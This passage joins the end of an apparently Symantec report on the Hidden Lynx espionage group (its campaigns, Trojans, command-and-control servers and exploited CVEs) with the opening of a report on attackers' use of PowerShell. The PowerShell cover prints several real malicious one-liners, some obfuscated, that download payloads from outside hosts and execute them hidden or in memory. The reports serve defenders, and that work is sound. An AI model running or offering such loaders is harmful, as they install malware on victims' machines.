objective was narrow and focused and the team aimed to limit Naid’s exposure. The sophistication of the overall attack is typical of attackers with a very high pedigree. The team is clearly highly skilled; they operate methodically and can switch objectives at a moment’s notice. They rapidly adapted to external factors that were hindering their specific objective and pursued a difficult prize - the Bit9 certificate - in order to achieve their overall goal.
Team Moudoor’s role
The distribution of Moudoor during this campaign was on a much larger scale. Organizations operating in the financial sector, all levels of government (local and federal), healthcare, education and law were impacted during this campaign. There is a wealth of sensitive information within these organizations which would be of interest to both nation states and entities that would benefit from information as a result of corporate espionage attacks.
The top distinct infections per
organization type are shown in Figure 8.
A campaign distributing Moudoor
on such a large scale would require a sizeable team to operate and maintain remote access to these compromised computers. The breach phase of the operation could easily be handled by a smaller team, which then passes control to a larger team of operators who can traverse networks and retrieve the information they are tasked with gaining access to. To efficiently
Figure 8. Industries with the most Backdoor.Moudoor infections during the VOHO campaignPage 13
Hidden Lynx – Professional Hackers for Hire
attack this many organizations concurrently would require an equally large number of operators. These Trojans
require manual operation so it’s conceivable that tens if not hundreds of operators would be used post-breach to process and handle the stolen data.
The VOHO campaign is one of a number of campaigns attributed to this group over the last four years. It showed
how quickly the group could change their strategy and the lengths they would go to get to their targets. The fact that the Bit9 code-signing certificate breach was only a small part of this campaign shows how adaptable and determined the group is.
Advanced zero-day access
The group is highly organized and can gain advanced access to zero-day vulnerabilities. In February, the Hidden Lynx group used this advanced knowledge to take advantage of the Oracle Java SE CVE-2013-1493 Remote
Code Execution Vulnerability (CVE-2013-1493) to attack Japanese targets in the FINSHO campaign.
FINSHO
Within two days of Bit9’s blog post on February 25, the attackers began distributing Moudoor and Naid in a campaign that leveraged CVE-2013-1493. Interestingly, the C&C server configured in Naid (110.173.55.187) was also configured in a sample found in the Bit9 incident. Although the version used against Bit9 was not observed elsewhere in the wild, the group’s methodical approach would indicate that a similar campaign may have been intended for that Trojan.
The timeline for exploit
development and distribution is illustrated in Figure 9.
According to Oracle’s blog,
CVE-2013-1493 was reported to them on February 1, the same day that class files exploiting it were added to MightDev.jar shown in Figure 10. In past Java exploits used by this group, the code was already public knowledge and a patch was already available for the software. In this case, they gained advanced knowledge from an unknown source - a source with early access to the exploit conditions, possibly on the same day as Oracle. Oracle released the fix for CVE-2013-1493 on March 4.
Figure 10. MightDev.jar used to distribute Naid and subsequently Moudoor
Figure 9. Timeline of activity for CVE-2013-1493 distributing Moudoor and Naid in the FINSHO campaignPage 14
Hidden Lynx – Professional Hackers for Hire
Figure 11 illustrates the
relationship between FINSHO and the Bit9 incident through the shared C&C server used in both Naid configurations.
Alternate C&C servers and separate
websites for distribution provide further evidence that there are distinctions between how these teams operate.
Supply chain attacks
The Hidden Lynx group continued to attack the defense industry post-VOHO. In another campaign named SCADEF, manufacturers and suppliers of military-grade computers were observed installing a Trojanized Intel driver application.
SCADEF
The attackers bundled this Intel driver application with variants of Backdoor.Moudoor using a popular Chinese archiving application called Haozip. The attackers likely compromised a legitimate download of this driver application from a non-reputable source but the true source was never discovered in this investigation.
The technique is another avenue into hardened networks of interest. They attack not only hardware suppliers, but contractors that may access these networks during their course of work. The group seeks out the weakest link in the chain and simply lies in wait. In these specific attacks, they simply wait for a shipment of compromised computers to be installed into the targeted network. Unique detections observed for these Trojanized applications are presented in Figure 12.
The VOHO, FINSHO and SCADEF campaigns each showed how efficient and adaptable the group is when focusing on their targets. They use a wide range of advanced attack methods and change their strategy when required to carry out each operation. These three campaigns are only some of the operations undertaken by the Hidden Lynx group, making them a credible threat to several industries.
Figure 12. Supply chain hacking detections in the IT supply/defense/healthcare industry
Figure 11. CVE-2013-1493 used to distribute Trojan.Naid and Backdoor.Moudoor (February/March 2013) in the FINSHO campaignCONCLUSION
From the evidence
seen, it’s clear that Hidden Lynx belongs to a professional organization. Page 16
Hidden Lynx – Professional Hackers for Hire
Conclusion
Cyberespionage campaigns are becoming increasingly common, with countless threat actors attempting to gain
footholds into some of the best-protected organizations. These attacks are becoming increasingly sophisticated. The capabilities and tactics used by these threat actors vary considerably. The Hidden Lynx group is capable of undertaking focused attacks against niche targets and running large-scale campaigns targeting multiple organizations on a global scale. They have seen action in numerous campaigns since 2009 and repeatedly attack their targets with cutting-edge techniques. They quickly adapt to security counter-measures and are highly motivated. They are one of the most well-resourced and capable attack groups in the targeted threat landscape.
From the evidence seen, it’s clear that Hidden Lynx belongs to a professional organization. They operate in a highly
efficient manner. They can attack on multiple fronts. They use the latest techniques, have access to a diverse set of exploits and have highly customized tools to compromise target networks. Their attacks, carried out with such precision on a regular basis over long periods of time, would require a well-resourced and sizeable organization. They possess expertise in many areas, with teams of highly skilled individuals who can adapt rapidly to the changing landscape. This team could easily consist of 50-100 individuals. This level of resources would be needed to build these Trojans, maintain infection and C&C infrastructure and pursue confidential information on multiple networks. They are highly skilled and experienced campaigners in pursuit of information of value to both commercial and governmental organizations.
The incident in Bit9, which ultimately led to successful compromises of hard-to-crack targets during the VOHO
campaign, only serves to highlight this fact. The evolving targeted attack landscape is becoming increasingly sophisticated. As organizations implement security counter-measures, the attackers are adapting at a rapid rate. With a growing number of threat actors participating in these campaigns, organizations have to understand that sophisticated attackers are working hard to bypass each layer of security. It’s no longer safe to assume that any one solution will protect a company’s assets. A variety of solutions need to be combined and, with a better understanding of the adversary, tailored to adequately protect the information of most interest to the attackers.
The Hidden Lynx group’s mission is large and they’re targeting a diverse set of information. The frequency and
diversity of these attacks would indicate that the attackers are tasked with sourcing information from many organizations. These tasks are likely distributed within the team. The group’s goal is to gain access to information within organizations in some of the wealthiest and most technologically advanced countries across the globe. It is unlikely that they can use this information for direct financial gain, and the diversity of the information and number of distinguishable campaigns would suggest that they are contracted by multiple clients. This leads us to believe that this is a professional organization that offers a “hackers for hire” service.
The worrying knock-on effect of this group’s activities is that other threat actors are learning and adopting their
techniques. The Hidden Lynx group is not basking in their past glories, they are continuing to refine and streamline their operations and techniques to stay one step ahead of their competition. Organizations that are being attacked on multiple fronts need to better protect the information that is most valuable to them. We expect these attackers to be involved in many more high profile campaigns in the coming years. They will continue to adapt and innovate. They will continue to provide information servicing interests at both a corporate and state level. Groups like Hidden Lynx are certainly winning some of the battles, but as organizations gain a better understanding of how these groups operate, they can take steps to help prevent their most valuable information from falling into attackers’ hands.APPENDIXPage 18
Hidden Lynx – Professional Hackers for Hire
Appendix
Related attacks
The three campaigns that
have already been examined in detail are only a snapshot of the group’s activities. Since the time they adopted Moudoor in late 2011, persistent attacks against organizations across the globe have been occurring on a regular basis, even to this day. These attackers pioneered the watering-hole technique, however they can also fall back to more traditional methods of attack, such as spear-phishing emails, supply chain attacks and Trojanized software updates. Since 2011, the Hidden Lynx group has leveraged five browser-based exploits for payload distribution, three of which were zero-day exploits.
The list of browser-based
exploits used by the Hidden Lynx group since the introduction of Moudoor is presented in Table 1.
In the first half of 2012,
there was a particularly high distribution of Moudoor. There was a peak in June/July as a result of the VOHO campaign which is evident in the graph shown in Figure 13.
There is also a peak at the
beginning of the year which is a result of another high distribution campaign called WSDHEALTHY. This campaign, along with some other notable attacks and techniques, will be discussed in the following sections.
• GOTHAM – Shared distribution, shared C&C – yet another zero day exploit
• WSDHEALTHY – Watering-hole campaigns pre-dating VOHO by seven months
• EASYUPDATE – Trojanizing a popular P2P software’s updates
Table 1. Vulnerabilities associated with Naid/Moudoor distribution
(Nov 2011 – March 2013)
CVE Description Exploit Website
CVE-2011-3544 Oracle Java Rhino Script Engine http://www.wsdhealthy.com
http://www.tade.org.tw http://www.gnnet.co.kr
CVE-2012-1875 Microsoft Internet Explorer - Same ID Property RCE Vulnerabilityhttp://www.gothamcenter.orghttp://www.villagemania.it
CVE-2012-1889 Microsoft XML Core Services CVE-2012-1889 RCE Vulnerabilityhttp://www.gothamcenter.orghttp://www.torontocurling.com (VOHO)
http://ansky.hk166.cqbi.com
CVE-2012-1723 Oracle Java SE CVE-2012-1723 RCE
Vulnerabilityhttp://www.torontocurling.com (VOHO)
CVE-2013-1493 Oracle Java SE RCE Vulnerability http://www.k-sho.co.jp http://www.finesis.jp
Figure 13. Unique infections of Moudoor and Naid (November 2011 – June 2013)Page 19
Hidden Lynx – Professional Hackers for Hire
GOTHAM – Campaigns running concurrently
On May 30th, The Hidden Lynx group used their first zero-day exploit of 2012, taking advantage of the Microsoft
Internet Explorer CVE-2012-1875 Same ID Property Remote Code Execution Vulnerability (CVE-2012-1875) in order
to distribute Moudoor and Naid from gothamcenter.org, a website devoted to the history of New York. This was a
two-phase attack which saw Team Naid and Team Moudoor share C&C infrastructure (219.90.117.132) in a smaller campaign that infected organizations in the following industries:
• Financial services
• Information communications technology
• Government
• Marketing
• Information technology
• Aerospace/defense
• Energy
Many of the industries
targeted in this campaign are similar to those targeted in the VOHO campaign, so this could be considered as a pre-cursor to that campaign. Similar to VOHO, this was a two-phased attack that leveraged two Internet Explorer zero-days for distribution (CVE-2012-1875 and CVE-2012-1889). Similar to VOHO, as Microsoft patched CVE-2012-1875, the attackers halted distribution. This prevented any unnecessary suspicious activity from being identified that could impact future activity from the compromised website. A timeline for this activity is presented in Figure 14.
Sharing C&C infrastructure could indicate that both
teams were working closely together and may have divided up the effort during this campaign. During phase two of this campaign, VOHO began. The Hidden Lynx group is clearly resourced to operate and maintain distribution and C&C infrastructure across multiple campaigns. This level of organization requires discipline at multiple levels within the group. This is not a small group of elite hackers – this is a well-organized professional organization.
One campaign that rivals VOHO in terms of size is
WSDHEALTHY. This is the first campaign where we see the group using Naid and Moudoor together sharing infrastructure and the first links to the Bit9 incident
Figure 14. Activity timeline on gothamcenter.org
Figure 15. Moudoor and Naid share distribution and command and control serversPage 20
Hidden Lynx – Professional Hackers for Hire
start to emerge.
WSDHEALTHY – Shared infrastructure with the Bit9 incident
The Hidden Lynx group began
using watering-hole attacks as early as December 2011. Although no zero-day exploit was available, they used a patched Java exploit (CVE-2011-3544) effectively to distribute Moudoor from three compromised websites. This campaign provided the first indications that the group was using both Moudoor and Naid to attack targets and share C&C infrastructure. Along with this, early links to the attacks on Bit9 began to emerge.
The timeline of this activity is
shown in Figure 16.
In these campaigns, the
Hidden Lynx group made heavy use of infrastructure in Hong Kong, with the exception of yahooeast.net. This is this domain that links to the Bit9 attack, as it resolved to 66.153.86.14 – a C&C server used by the Backdoor.Hikit sample installed after the successful SQL injection attack on Bit9. Moudoor was being actively distributed from these websites for two, four and five months respectively. These are exceptionally long periods of time to retain access to compromised servers for payload distribution of this nature.
The C&C servers used and the
links between the Trojans and Bit9 are shown in Figure 17.
Team Moudoor heavily relies
on a dynamic DNS service called DTDNS to rapidly switch between C&C servers. In fact, they use direct IP connections or DTDNS exclusively to establish C&C communications, with the
Figure 16. Timeline of malicious activity associated with CVE-2011-3544
Figure 17. CVE-2011-3544 - the first links between Moudoor and Naid emergePage 21
Hidden Lynx – Professional Hackers for Hire
exception of yahooeast.net
which is a registered domain. The Hidden Lynx group uses techniques which have clearly been established through experience to maintain this infrastructure for long periods of time. They adapt quickly and likely have a stockpile of C&C servers that they can quickly switch to which provides maximum uptime during any given operation.
Along with this, the Hidden Lynx
group uses several different methods to infect their targets. In the SCADEF campaign, we saw how the group bundled Moudoor with legitimate software to infect targets. They also managed to Trojanize software updates as well, as seen in the EASYUPDATE campaign where a Chinese P2P application was observed selectively installing Moudoor since 2011.
EASYUPDATE – A
Trojanized software update
Since November 2011, the Hidden
Lynx group has been able to insert Moudoor into the distribution chain of one of the most popular Chinese P2P applications provided by VeryCD.com. There is a very low distribution of Trojanized updates and it is quite likely that they are somehow selectively installing Moudoor on specific clients. This is, without a doubt, the longest running distribution vector for the group, which infected victims predominantly in China, the United States and Hong Kong.
These are the earliest indications
of Moudoor infections, with “kissnada” being one of the first DTDNS domains observed in use. This distribution vector’s exact purpose is still unclear, however it’s certainly linked to the group,
Figure 18. Percentage breakdown of unique detections from VeryCD P2P client
Figure 19. Moudoor variants downloaded through P2P client updatesPage 22
Hidden Lynx – Professional Hackers for Hire
as we have observed Moudoor
samples in WSDHEALTHY configured to use kissnada58.chatnook.com and usa-mail.scieron.com for C&C communications.
The Hidden Lynx group
has left a clear fingerprint for the past two years with clearly identifiable links to the group’s activities. The use of customized Trojans, shared distribution and C&C infrastructure, coupled with repeated attacks on a predictable set of target organizations has allowed a more complete picture of these attacks to be compiled. A summary of the links between all of these attacks is presented in Figure 20.
Trojans used by the
Hidden Lynx group
The following section lists the
Trojans that were used by the Hidden Lynx group throughout their various campaigns.
Backdoor.Moudoor
In 2011, the Hidden Lynx group began to use Backdoor.Moudoor. This is a customized version of “Gh0st RAT”. Gh0st RAT variants have been used in cyberespionage campaigns emanating from China for years. In 2009, Information Warfare Monitor published a detailed report, “Tracking GhostNet”, following an investigation into a cyberespionage network of more than 1,000 compromised computers affecting more than 100 countries. Many threat actors use customized versions of this RAT for cyberespionage operations.
Trojan.Naid
The team uses Trojan.Naid for special operations. It first appeared in May 2009 and has been used in many high profile attacks over the past four years. It shares
Figure 20. Linking the group’s activity (November 2011-March 2013)
Figure 21. Naid/Vasport obfuscation toolPage 23
Hidden Lynx – Professional Hackers for Hire
technical similarities with other Trojans which also originate from China. All of these Trojans are potentially from
the same group or they may source these Trojans from the same developer. The technical similarities are based on a shared file creation template and C&C protocol.
The other Trojans that share these traits are:
• Backdoor.Vasport
• Backdoor.Boda
File creation template
%TEMP%\uid.ax
%%TEMP%%\%s.ax%%TEMP%%\%s _ p.ax
Command and control template
POST http://%ls:%d/%x HTTP/1.1Content-Length: 2CONNECT %ls:%d HTTP/1.1Connection: keep-alivelynx
There is also evidence that Backdoor.Vasport and Trojan.Naid have shared the same packer to obfuscate the payloads from AV detection. The obfuscation tool used is also Chinese in origin and has a simple user interface to help pack these Trojans.
Naid also has a history of using
stolen digital certificates to overcome trust-based protection when attacking certain hardened targets. Some of the certificates identified are shown in Figure 22.
Backdoor.Vasport
Backdoor.Vasport was delivered by exploiting the Adobe Flash Player CVE-2012-0779 Object Type Confusion Remote Code Execution Vulnerability (CVE-2012-0779). This was delivered in malicious Word documents in targeted attack emails. The exploit component used in these attacks was also used in the Elderwood Platform.
Table 2 shows the payload from
the malicious word documents.
Backdoor.Boda
In a more recent campaign called Ladyboyle, Backdoor.Boda was being distributed to take advantage of the Adobe
Figure 22. Stolen digital certificates used by Trojan.Naid
Table 2. Backdoor.Vasport payload from malicious Word documents
PE Timestamp MD5 C&C
27/04/2012 22:07 6fe1634dce1d095d6b8a06757b5b6041 svr01.passport.serveuser.comPage 24
Hidden Lynx – Professional Hackers for Hire
Flash Player CVE-2013-0634 Remote Memory Corruption Vulnerability (CVE-2013-0634) . These files were
signed with a digital signature from MGAME Corporation, a tactic used previously by the attackers. Interestingly,
Backdoor.Boda and Backdoor.Vasport were both distributed using Flash zero-day exploits in embedded documents. It’s plausible that the group has a team dedicated to distribution using Flash exploits that customizes Trojans from the same code base that the Naid uses.
Trojan.Hydraq
(Operation Aurora)
The Hidden Lynx group has
used cutting-edge attack techniques and a consistent methodology. Trojan.Naid has been in use since 2009 and Hidden Lynx attacks bear the hallmarks of a campaign that involved yet another Internet Explorer zero-day exploit in December 2009. Trojan.Naid was used in the infamous attacks on organizations in the financial, technology, Internet and media sectors called “Operation Aurora”. These attacks are linked with another Trojan called
Trojan.Hydraq , but Naid was
downloaded in stage three of
the operation.
Trojan.Hydraq disappeared
from the targeted attack landscape shortly after Operation Aurora, most likely due to the close attention that it was receiving from security researchers. Trojan.Naid did not meet the same fate, as it is still being used in sophisticated targeted attacks to this day.
Figure 23. Trojan.Naid links to Hydraq and Operation AuroraPage 25
Hidden Lynx – Professional Hackers for Hire
Resources
• http://www.symantec.com/connect/blogs/hydraq-attack-mythical-proportions
• http://googleblog.blogspot.ie/2010/01/new-approach-to-china.html
• https://blog.bit9.com/2013/02/08/bit9-and-our-customers-security/
• https://blog.bit9.com/2013/02/25/bit9-security-incident-update/
• http://www.symantec.com/security_response/writeup.jsp?docid=2012-082113-5541-99
• http://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99
• http://blogs.rsa.com/wp-content/uploads/VOHO_WP_FINAL_READY-FOR-Publication-09242012_AC.pdf
• http://threatpost.com/why-watering-hole-attacks-work-032013
• http://www.symantec.com/connect/blogs/latest-java-zero-day-shares-connections-bit9-security-incident
• http://www.cio.com/article/732122/_Aurora_Cyber_Attackers_Were_Really_Running_Counter_Intelligence
• http://www.infowar-monitor.net/2009/09/tracking-ghostnet-investigating-a-cyber-espionage-network/
• http://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99
• http://www.symantec.com/connect/blogs/elderwood-project
• http://www.symantec.com/connect/blogs/adobe-zero-day-used-ladyboyle-attackPage 26
Hidden Lynx – Professional Hackers for Hire
Many different Symantec protection technologies play a role in defending against this threat, including:
File-based protection (Traditional antivirus)
Traditional antivirus protection is designed to detect and block malicious files and is effective against files
associated with this attack.
• Trojan.Hydraq
• Backdoor.Moudoor
• Trojan.Naid
• Backdoor.Hikit
• Backdoor.Vasport
• Backdoor.BodaSymantec Protection
File-based protection
Symantec
Endpoint ProtectionNorton
360Norton
Internet SecurityNorton
Antivirus
Network-based protection
Behavior-based protection
Reputation-based protection
Norton Safeweb
Download Insight
Application & device control
Browser protection
Page 27
Hidden Lynx – Professional Hackers for Hire
Network-based protection (IPS)
Network-based protection in Symantec Endpoint Protection can help protect against unauthorized network
activities conducted by malware threats or intrusion attempts.
• Web Attack: Oracle Java Rhino Script Engine CVE-2011-3544 (24700)
• Web Attack: Oracle Java Rhino Script Engine CVE-2011-3544 3 (24917)
• Web Attack: MSIE Same ID Property CVE-2012-1875 (25787)
• Web Attack: MSIE Same ID Property CVE-2012-1875 2 (26485)
• Web Attack: MSIE MSXML CVE-2012-1889 (25783)
• Web Attack: MSIE MSXML CVE-2012-1889 2 (50331)
• Web Attack: MSIE MSXML CVE-2012-1889 3 (25786)
• Web Attack: MSIE MSXML CVE-2012-1889 4 (25986)
• Web Attack: Java CVE-2012-1723 RCE (26051)
• Web Attack: Java CVE-2012-1723 RCE 2 (26080)
• Web Attack: Oracle Java Type Confusion Attack CVE-2012-1723 4 (25962)
• Web Attack: Oracle Java SE CVE-2012-1723 Remote Code Execution Vulnerability 3 (25934)
• Web Attack: Java CVE-2013-1493 RCE (26556)
• Web Attack: Java CVE-2013-1493 RCE 2 (26525)
Behavior-based protection
Behavior-based detection blocks suspicious processes using the Bloodhound.SONAR series of detections
Reputation-based protection (Insight)
• Norton Safeweb blocks users from visiting infected websites.
• Insight detects and warns against suspicious files as WS.Reputation.1
|
THE INCREASED
USE OF
POWERSHELL
IN ATTACKS
v1.0powershell -w hidden -ep bypass -nop -c “IEX ((New-Object System.Net.
Webclient).DownloadString(‘http://pastebin.com/raw/[REMOVED]’))”
powershell.exe -window hidden -enc KABOAG[REMOVED]
Cmd.exe /C powershell $random = New-Object System.Random; Foreach($url
in @({http://[REMOVED]academy.com/wp-content/themes/twentysixteen/st1.
exe},{http://[REMOVED].com.au/wp-content/plugins/espresso-social/st1.
exe},{http://[REMOVED].net/wp-includes/st1.exe},{http://[REMOVED]resto.
com/wp-content/plugins/wp-super-cache/plugins/st1.exe},{http://[REMOVED].
ru/wp-content/themes/twentyeleven/st1.exe})) { try { $rnd = $random.
Next(0, 65536); $path = ‘%tmp%\’ + [string] $rnd + ‘.exe’; (New-Object System.Net.WebClient).DownloadFile($url.ToString(), $path); Start-Process
$path; break; } catch { Write-Host $error[0].Exception } }
cmd.exe /c pow^eRSheLL^.eX^e ^-e^x^ec^u^tI^o^nP^OLIcY^ ByP^a^S^s
-nOProf^I^L^e^ -^WIndoWST^YLe H^i^D^de^N ^(ne^w-O^BJe^c^T ^SY^STeM.
Ne^T^.^w^eB^cLie^n^T^).^Do^W^nlo^aDfi^Le(^’http://www. [REMOVED].top/user.php?f=1.dat’,^’%USERAPPDATA%.eXe’);s^T^ar^T-^PRO^ce^s^S^
^%USERAPPDATA%.exe
powershell.exe iex $env:nlldxwx
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command
“Invoke-Expression $(New-Object IO.StreamReader ($(New-Object
IO.Compression.DeflateStream ($(New-Object IO.MemoryStream
(,$([Convert]::FromBase64String(\”[REMOVED]\” )))), [IO.Compression.
CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();”
powershell.exe -ExecutionPolicy Unrestricted -File “%TEMP%\ps.ps1”THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC2
THE INCREASED USE OF POWERSHELL IN ATTACKS2
CHARTS & TABLES
6 Figure 1. PowerShell Integrated Scripting Environment
6 Table 1. PowerShell versions installed by
default on each version of Windows
7 Figure 2. Malicious PowerShell script submissions in 2016
10 Table 2. Command line argument frequency
11 Table 3. Script-invoking parent file ranking for both
benign and malicious PowerShell scripts
11 Table 4. Script-invoking parent file ranking for
malicious PowerShell scripts only
14 Figure 3. Poweliks persistence execution chain16 Figure 4. Hello World script written in symbols
18 Figure 5. PowerShell function to detect VMEs
20 Figure 6. PowerWare encryption function
20 Figure 7. PowerShell downloader function
21 Figure 8. Trojan monitors window titles for finance-related content
24 Table 5. Script invocations seen in targeted attacks by group
30 Figure 9. PowerShell group policy settings on Windows 10
31 Figure 10. PowerShell log event entryCONTENTS
3 EXECUTIVE SUMMARY
4 KEY FINDINGS
5 Introduction
6 What is PowerShell?
6 Versions installed on Windows by default
6 Why are attackers using PowerShell?
7 Prevalence
8 Different phases of a PowerShell attack
8 Execution policy
9 Script execution
10 How PowerShell threats use flags
10 Email vector
11 Nemucod downloader
12 Office macros
12 Exploits
12 Lateral movement
13 Invoke-Command
13 Enter-PSSession
13 WMI
13 Profile injection
13 Other methods
13 Persistence
14 Poweliks
15 Obfuscation
17 Anti-obfuscation
17 Disguising scripts
18 Hiding from virtual machine environments
19 Common PowerShell malware
19 Ransomware
20 W97M.Incompat
21 Keylogger Trojan
21 Banking Trojan
22 Back door Trojans23 PowerShell in targeted attacks
23 Pupa/Deep Panda
23 CozyDuke/SeaDuke
24 Buckeye
24 Odinaff
24 FBI warning on unnamed attack group
24 Example script invocations used in targeted attacks
26 Dual use tools and frameworks
27 PowerSploit
27 PowerShell Empire
27 Nishang
27 PS>Attack
27 Mimikatz
28 PowerShell scripts for prevention and investigation
29 Mitigation
30 Logging
31 Antimalware Scan Interface (AMSI)
31 AppLocker
32 Protection
32 Advanced Antivirus Engine
32 SONAR Behavior Engine
32 Email protection
33 Blue coat Malware Analysis sandbox
33 System hardening
34 Conclusion
35 Credits
36 About Symantec
36 More InformationTHE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC3
EXECUTIVE SUMMARY
When creating their malware, attackers are increasingly
leveraging tools that already exist on targeted computers. This practice, often referred to as “living off the land”, allows their threats to blend in with common administration work, leave fewer artifacts, and make detection more difficult. Since Microsoft PowerShell is
installed on Windows computers by default, it is an ideal candidate for attackers’ tool chain.
PowerShell is a powerful scripting language and shell framework primarily used on Windows
computers. It has been around for more than 10 years, is used by many system administrators, and
will replace the default command prompt on Windows in the future.
PowerShell scripts are frequently used in legitimate administration work. They can also be used
to protect computers from attacks and perform analysis. However, attackers are also working with
PowerShell to create their own threats.
Of all of the PowerShell scripts analyzed through the Blue Coat sandbox, 95.4 percent were malicious.
We have seen many recent targeted attacks using PowerShell scripts. For example, the Odinaff group
used malicious PowerShell scripts when it attacked financial organizations worldwide. Common
cybercriminals are leveraging PowerShell as well, such as the Trojan.Kotver attackers, who used the framework to create a fileless infection completely contained in the registry.
Malicious PowerShell scripts are predominantly used as downloaders, such as Office macros, during
the incursion phase. The second most common use is during the lateral movement phase, allowing a threat to execute code on a remote computer when spreading inside the network. PowerShell can
also download and execute commands directly from memory, making it hard for forensics experts
to trace the infection.
Due to the nature of PowerShell, such malicious scripts can be easily obfuscated, so cannot be reliably
detected with static signatures or by sharing file hashes. Our analysis showed that currently, not
many attackers obfuscate their PowerShell threats; only eight percent of the active threat families that use PowerShell used obfuscation. One can argue that they do not need to obfuscate their threats
yet and that too much obscurity might raise suspicion.
More than 55 percent of PowerShell scripts execute from the command line. Windows provides
execution policies which attempt to prevent malicious PowerShell scripts from launching. However,
these policies are ineffective and attackers can easily bypass them.
Current detection rates of PowerShell malware in organizations are low. More sophisticated detection
methods and better logging are needed to combat PowerShell threats. Unfortunately by default,
most systems have not enabled full logging, making it very hard to perform forensic analysis should
a breach happen. We strongly recommend system administrators to upgrade to the latest version of
PowerShell and enable extended logging and monitoring capabilities. THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC4
KEY FINDINGS
TMany targeted attack groups already use PowerShell
in their attack chain
TAttackers mainly use PowerShell as a downloader and
for lateral movement
TPowerShell is installed by default on Windows
computers and leaves few traces for analysis, as
the framework can execute payloads directly from memory
TOrganizations often don’t enable monitoring and
extended logging on their computers, making PowerShell threats harder to detect
T95.4 percent of the PowerShell scripts analyzed
through the Blue Coat sandbox were malicious
TCurrently, most attackers do not use obfuscated
PowerShell threats. Only eight percent of these threat families implemented obfuscation
T55 percent of the analyzed PowerShell scripts were
executed through cmd.exe TThe most common PowerShell malware was a
W97M.Downloader variant, making up 9.4 percent of
these types of threats
TThe most commonly used PowerShell command-line
argument was “NoProfile” (34 percent), followed by “WindowStyle” (24 percent), and “ExecutionPolicy” (23 percent)
TOver the last six months, we blocked an average of
466,028 emails with malicious JavaScript per day
TOver the last six months, we blocked an average of
211,235 Word macro downloaders (W97M.Downloader) per day on the endpointTHE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC5
Microsoft introduced the PowerShell
scripting language and command-line shell in 2005, installing the framework on all new Windows versions by default. With the deployment of such a powerful scripting environment, security vendors predicted that attackers could use PowerShell in their campaigns. Back in 2004, Symantec discussed the risks seen with the beta version.
Shortly after release of PowerShell, we have seen malware
authors using this framework for their campaigns, despite
Microsoft’s efforts to prevent this from happening. Common cybercriminals and targeted attackers heavily use PowerShell,
as its flexibility makes it an ideal attack tool. Scripts are easily
obfuscated, can run directly from memory, leave few traces by default, and are often overlooked by traditional security products.
PowerShell has changed a lot since its release more than 10
years ago. Version 6 is now available as a preview release with new features and security capabilities. Microsoft replaced the
default command shell with PowerShell for the first time in
Windows 10 build 14971.
Even with the introduction of the Ubuntu-based Bash shell for
Windows 10, PowerShell will likely be widely adopted. However,
some researchers fear that Bash may result in more malware or
encourage more cross-platform threats.
Common cybercriminals and targeted
attackers heavily use PowerShell,
as its flexibility makes it an ideal
attack tool.INTRODUCTIONTHE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC6
WHAT IS POWERSHELL?
PowerShell is a framework based on .NET. It offers a command-
line shell and a scripting language for automating and managing
tasks. PowerShell provides full access to system functions like
Windows Management Instrumentation (WMI) and Component Object Model (COM) objects. In addition to this, it has manage -
ment features for many other functions such as the Microsoft Exchange server, virtual environments like VMware, or Linux environments. The framework became open source in 2016 and
is also available for non-Windows platforms.
Most of PowerShell’s extended functionality lies in cmdlets
(command-lets), which implement specific commands. Cmdlets
follow a verb-noun naming pattern. For example, to obtain items
and child items from a specified location, a user would input the command Get-ChildItem. Cmdlets accept input through pipes
and return objects or groups of objects. Additional Cmdlets or
modules can be imported to extend PowerShell’s functionality by using the Import-Module cmdlet.
PowerShell also supports the concept of constrained run spaces,
which can be implemented to restrict users to only executing whitelisted commands on a remote endpoint. Constrained
run spaces can also specify that whitelisted commands will be
executed through a certain user account. However, depending on the commands used, restricted run spaces may still be suscepti-
ble to command injection attacks.
The extension for PowerShell scripts is .ps1, but standalone
executables also exist. Windows provides an interface for writing
and testing scripts called the PowerShell Integrated Scripting
Environment (ISE). Third-party development frameworks also support PowerShell.
Figure 1. PowerShell Integrated Scripting Environment
Versions installed on Windows by default
Monad, the predecessor of PowerShell, was released in June 2005. Newer versions of Windows have since included the
PowerShell scripting environment by default. Older versions
can be upgraded to the latest one for most operating systems by manually installing the corresponding framework.
Table 1. PowerShell versions installed by default on
each version of Windows
Windows version Default PowerShell Version
Windows 7 SP1 2.0
Windows 8 3.0
Windows 8.1 4.0
Windows 10 5.0
Windows Server 2008 R2 2.0
Windows Server 2012 3.0
Windows Server 2012 R2 4.0
WHY ARE ATTACKERS USING POWERSHELL?
PowerShell provides easy access to all major functions of the
operating system. The versatility of PowerShell makes it an
ideal candidate for any purpose, whether the user is a defender
or attacker.
The benefits for attackers have been discussed in various
talks, such as this presentation by security researchers David
Kennedy and Josh Kelley at Defcon 18 in 2010. In 2011, Matt Graeber released PowerSyringe, which allows easy DLL and
shellcode injection into other processes through PowerShell.
This research further encouraged penetration testers to develop and use offensive PowerShell scripts.
There are PowerShell scripts for nearly every task, from creating
a network sniffer to reading out passwords. Some threats, such
as Trojan.Kotver , even attempt to download the PowerShell
framework if it isn’t installed on the compromised computer. THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC7
The 10 top reasons why attackers use
PowerShell
1. It is installed by default on all new Windows computers.
2. It can execute payloads directly from memory, making it
stealthy.
3. It generates few traces by default, making it difficult to find under forensic analysis.
4. It has remote access capabilities by default with encrypted traffic.
5. As a script, it is easy to obfuscate and difficult to detect with traditional security tools.
6. Defenders often overlook it when hardening their systems.
7. It can bypass application-whitelisting tools depending on the configuration.
8. Many gateway sandboxes do not handle script-based malware well.
9. It has a growing community with ready available scripts.
10. Many system administrators use and trust the
framework, allowing PowerShell malware to blend in with
regular administration work.PREVALENCE
System administrators around the world use PowerShell to manage their computers, but we have also seen attackers
increasingly use the framework. In 2016, 49,127 PowerShell
scripts were submitted to the Symantec Blue Coat Malware Analysis sandbox. We found that 95.4 percent of these scripts
were malicious.
Out of all of these PowerShell scripts, we manually analyzed
4,782 recent distinct samples that were executed on the
command line. The analyzed samples represent a total of 111
malware families that use the PowerShell command line. The most prevalent malware was W97M.Downloader, which was
